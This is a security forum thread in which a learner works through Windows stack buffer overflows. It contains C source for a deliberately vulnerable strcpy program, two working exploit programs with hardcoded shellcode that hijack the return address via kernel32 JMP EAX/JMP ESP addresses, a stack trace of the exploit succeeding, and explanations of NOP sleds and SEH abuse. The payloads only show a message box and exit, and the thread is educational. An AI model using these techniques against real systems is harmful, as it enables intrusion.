Windows Stack Based Overflow, Confusing

[Tonto]

Hello, I have been trying to just figure out buffer overflows on windows to satiate my curiosity. I was able to do a funny little deal that ended up like this:

#include <string.h>
#include <stdio.h>

char shellcode[] = 
	"\x31\xC0\x50\xB8\xA2\xCA\x81\x7C\xFF\xD0";

void copy(char *s) 
{
	char buf[256];
	strcpy(buf, s);
}

int main()
{
	char buffer[512];

	for(int i = 0; i < 260; i++)
		buffer[i] = 'X';

	memcpy(buffer, shellcode, strlen(shellcode));
	*(int *) (buffer + 260) = 0x7C816353;

	copy(buffer);
	printf("If we got here, it didn't exit like it should have");
	return 0;
}

The shellcode just does an ExitProcess call (hardcoded). And I overflow the return address with the address of a JMP EAX instruction in kernel32, which worked because I was lucky enough that strcpy returns a pointer to the destination string. This is very platform specific right now, and also impractical, I want to be able to do something where I can right a vulnerable program, and an exploit program which attacks it. So something like:

#include <string.h>

int main(int argc, char **argv)
{
    char buf[256];

    if(argc == 2)
        strcpy(buf, argv[1]);

    return 0;
}

Doing this brings up some problems. Firstly, EAX is zero'ed before exiting, so no JMP/CALL EAX. You would think I would be able to do a JMP/CALL ESP, however, for some reason the compiler (VC), allocates 144h or 324 bytes, and the buffer starts in the middle at EBP-100h, so I can't find a suitable register to use this method.

I was wondering if this method is just too limited and whether I should just abandon it, or whether it could be salvaged. If it can not be salvaged, I am aware of a method which involves abusing SEH frames, but I can not for the life of me figure out how it works. Any help is so so appreciated, and I hope this is not just blown off as a skript kiddy thing.

[Tonto]

Okay, I see that this sort of discussion isn't taken very well here. This thread can commit suicide or whatever the policy is I guess.

[Tiger Shark]

I don't think it's that the discussion is frowned upon here, (certainly not from my part), but rather that the people who do have the skills/knowledge to deal with the specifics in your case haven't passed through recently...

Frankly, while I understand the principles behind your question the programmatic issues are outside my knowledge... Hopefully one of the chaps that can assist will pass throughh and give you some help soon.

[Lv4]

Originally posted here by Tonto
Okay, I see that this sort of discussion isn't taken very well here. This thread can commit suicide or whatever the policy is I guess.

nah I don't see a problem with this post. Overflows can certainly help in the security arena... I just don't think you are going to find many people (including myself) that are conversant on these things here.

You might want to check out the DailyDave mailing list, or maybe I can recommend a couple of really good books for you like Buffer Overflow Attacks: Detect, Exploit, Prevent by James C. Foster, Vitaly Osipov, Nish Bhalla and Niels Heinen. Also you might want to check out Nish Bhallas papers on Windows Buffer Overflows which can be found here.

Good luck, if you figured out what you need then let us know... this is something that I have been messing around with for a few months now.

[Tonto]

Well here's a very nifty surprise! I had stared at this countless countless times before, but just after I had posted here I figured it out very quickly. I forgot that when a function returns that MOV ESP, EBP occurs to make and ESP ends up pointing right after the RET. So now I made this, with a little 'Error' message box in the shellcode. Here's the vulnerable program,

#include <string.h>

int main(int argc, char ** argv)
{
	char buf[256];
	if(argc == 2)
		strcpy(buf, argv[1]);
}

And here's the attacking code

#include <string.h>
#include <windows.h>

char shellcode[] = 
	"\x31\xD2\x52\x52\x52\x52\xB8\xEA\x04\xD8\x77\xFF"
	"\xD0\x31\xC0\x50\xB8\xA2\xCA\x81\x7C\xFF\xD0";


int main()
{
	char buffer[300];
	for(int i = 0; i < sizeof(buffer); i++)
		buffer[i] = 0x90;

	*(int *) (buffer + 260) = 0x7C82385D; // JMP ESP
	memcpy(buffer + 264, shellcode, strlen(shellcode));


	SHELLEXECUTEINFO info = { 0 };
    
	info.cbSize       = sizeof(info); 
	info.lpVerb       = "open";
	info.lpFile       = "c:\\vuln.exe";
	info.lpParameters = buffer;
	info.nShow        = SW_SHOW;
    
	ShellExecuteEx(&info);
	return 0;
}

This time, the shellcode is placed after the RET address. Here's how it played out as the vulnerable program is returning from main

MOV ESP,EBP ; ESP = 0012FDF8
POP EBP     ; ESP = 0012FDFC
RETN        ; ESP = 0012FE00

0012FDF8   58585858 << This is the EBP we overwrote with 'X's
0012FDFC   7C82385D << This is the RET to the JMP ESP, which is now 0012FE00
0012FE00   5252D231 << This is the start of the shellcode immediately after
0012FE04   EAB85252 
0012FE08   FF77D804
0012FE0C   50C031D0
0012FE10   81CAA2B8
0012FE14   58D0FF7C
0012FE18   58585858

And it worked! That was a pretty cool feeling Now here's another little question. What is the point of the NOP sled in this? I mean, I have to figure out exactly where the RET I need to overwrite is, and since JMP ESP will just JMP immediately after that, it seems useless to even have any code that will 'slide' down to the shellcode, because I could just copy it right after the RET. Or perhaps, maybe you don't have to know exactly where the RET is, and I can make the attack be more generic somehow? Am I missing something?

[Tiger Shark]

It's my understanding that NOP sled is to precisely position the shellcode at the point in memory that the code will be executed for a buffer overflow. In a stack overflow I don't believe a NOP sled is needed - but you do need to know exactly which point in the stack you need to mess with to effect the JMP.

Then again, I stated previously, this is not an area in which I "excel"...

[Tonto]

Makes sense now, maybe I'll try to figure out that exception handler abuse here soon. That guys explanation of it in his article is very brief and kind of difficult to figure out, but I will definitely give it a good look once exams are over (yikes). Thank you, guys.

[sec_ware]

Hi

Tonto, congratulations that you worked it out by yourself. You were at
the point where people trying for vuln-dev start to stop. Welcome to AO, and
I really hope to see you around

NOP

In my understanding and experience, NOP's help to enlarge the number of
"valid" jumps[1]: you don't have to exactly jump to your shellcode, but to some
region which is nopped (after which the shellcode starts). So, this kind of
padding is primarily not to position the shellcode, but rather to simplify the
exploitation.

Tonto, please send me the link to the article using SEH chains for exploiting
stack buffer overflows. I am used to dealing with the SEH chains considering
heap overflows, and maybe I find the time to help you.

Cheers

[1] http://community.corest.com/~juliano/withperl.txt (Designing the Payload)

[Tonto]

It is just this article in the series that Lz4 posted: http://www.securitycompass.com/downl...dows-Part4.pdf

It provides example code for a new set of opcodes that are used when overwriting the RET or something to overwrite the exception handler, but I was not really able to picture how the memory for the exception frame in relation to everything else. I have been told that the book "The Shellcoders Handbook" contains a very detailed explanation of SEH abusing (it's like a 600 page book about shellcode and vulnerabilities), and have considered getting it.

[Neptune0z]

nice thread...

Anyhow...Attacks using techniques like your talking about, work on the principle that it is possible under the right circumstances to alter the return address of a function to allow execution of an attackers code. When the code must branch and follow another execution path, it must have a way to remember where the split occured, so that it can continue execution there when it's done. Basically the value of EIP is pushed unto the stack; a branch of code is ran; and then EIP is pop'ed back of the stack and execution continue's there. So now you should be getting a clearer picture of how it's possible to alter the return address of a function, by writing data to the stack.

As far as the NOP sled thing...
sec_ware is totally right...It's to simplify the exploitation. Shellcode can be written that uses
precise addresses. However, this takes considerable more time to code, and isn't really portable at all because so many variables come into play that effect where and how the code is loaded into memory, that an attack has to be VERY specific (For this OS version, running binaries X,Y,Z, but not W...ect)...The NOP sled simply avoids all this by giving you some padding to point EIP.